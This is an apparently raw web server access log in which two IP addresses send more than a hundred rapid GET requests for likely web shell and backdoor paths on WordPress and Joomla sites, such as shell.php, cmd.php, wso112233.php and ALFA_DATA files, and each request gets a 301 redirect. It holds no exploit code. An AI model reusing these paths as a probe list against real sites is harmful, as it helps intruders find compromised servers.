[23/Apr/2025:03:20:44 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:44 -0400] "GET /wp-admin/network/index.php4 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:44 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:44 -0400] "GET /wp-zett.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:45 -0400] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:45 -0400] "GET /components/com_jea/views/form/tmpl/size.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:45 -0400] "GET /yjsmnati.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:45 -0400] "GET /wp-content/plugins/wp-daft/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:45 -0400] "GET /ova.php4https:/worldbdsm.net/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:45 -0400] "GET /wp-includes/js/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:45 -0400] "GET /LV.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:45 -0400] "GET /wp-admin/user/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:45 -0400] "GET /ayk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:20:45 -0400] "GET /css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:45 -0400] "GET /wp-admin/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:45 -0400] "GET /87.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.85 - - [23/Apr/2025:03:20:45 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:20:45 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:45 -0400] "GET /wp-admin/css/colors/blue/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:45 -0400] "GET /components/com_joomdle/assets/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:45 -0400] "GET /.well-known/pki-validation/wp-sigunq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:45 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:45 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:45 -0400] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:45 -0400] "GET /wp-includes/SimplePie/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:45 -0400] "GET /wp-content/themes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:45 -0400] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:45 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:45 -0400] "GET /cmd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:45 -0400] "GET /wboom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:45 -0400] "GET /wp-includes/sitemaps/providers/ultra.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:45 -0400] "GET /index.php?x=ooo HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:45 -0400] "GET /er.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:20:45 -0400] "GET /.well-known/functions.schedules.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:45 -0400] "GET /wp-includes/ID3/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:46 -0400] "GET /gettest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:46 -0400] "GET /upload_shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:46 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:46 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:46 -0400] "GET /wzy.php?action=door123 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:46 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:46 -0400] "GET /wp-admin/css/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:46 -0400] "GET /wp-ok.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:46 -0400] "GET /var/www/html/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:46 -0400] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:46 -0400] "GET /wp-admin/includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:46 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:46 -0400] "GET /.well-known/acme-challenge/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:46 -0400] "GET /wp-includes/SimplePie/gzdecode.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:46 -0400] "GET /bionic.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:46 -0400] "GET /uploads/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:46 -0400] "GET /ssa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:46 -0400] "GET /.well-known/acme-challenge/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:20:46 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:46 -0400] "GET /wp-admin/maint/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:46 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:20:46 -0400] "GET /hidey.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:46 -0400] "GET /files/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:46 -0400] "GET /wp-includes/packed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:46 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:20:46 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:46 -0400] "GET /wp-content/upgrade/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:46 -0400] "GET /images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:46 -0400] "GET /myk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:20:46 -0400] "GET /webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:20:46 -0400] "GET /product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:46 -0400] "GET /hardenX.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:20:46 -0400] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:46 -0400] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.85 - - [23/Apr/2025:03:20:46 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:20:47 -0400] "GET /kajiwara.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:20:47 -0400] "GET /.well-known/acme-challenge/blurbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:20:47 -0400] "GET /.qiofetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:47 -0400] "GET /xp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:20:47 -0400] "GET /ALFA_DATA/alfacgiapi/all.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:47 -0400] "GET /.tmb/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:20:47 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:47 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:47 -0400] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:20:47 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:47 -0400] "GET /wp-admin/css/colors/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:47 -0400] "GET /wp-includes/IXR/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:20:47 -0400] "GET /wp-content/plugins/erin/pgs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:47 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:47 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:20:47 -0400] "GET /my1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:47 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:20:47 -0400] "GET /wp-includes/js/plupload/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:20:47 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:20:47 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:47 -0400] "GET /bs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:47 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:47 -0400] "GET /aclass.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:47 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:47 -0400] "GET /wp-uploads-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:47 -0400] "GET /wp-includes/random_compat/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:47 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:47 -0400] "GET /update-core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:47 -0400] "GET /checkbox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:20:47 -0400] "GET /admin1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:20:47 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:20:48 -0400] "GET /wp-admin/includes/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:48 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:48 -0400] "GET /wp-content/languages/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:48 -0400] "GET /wp-includes/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:48 -0400] "GET /wp-signups.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:48 -0400] "GET /wp-includes/SimplePie/lig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:48 -0400] "GET /images/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:48 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:20:48 -0400] "GET /wp-content/plugins/simple/simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:48 -0400] "GET /plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:20:48 -0400] "GET /wp-includes/blocks/site-title/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:48 -0400] "GET /cdm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:48 -0400] "GET /.well-known/acme-challenge/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:48 -0400] "GET /new2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - 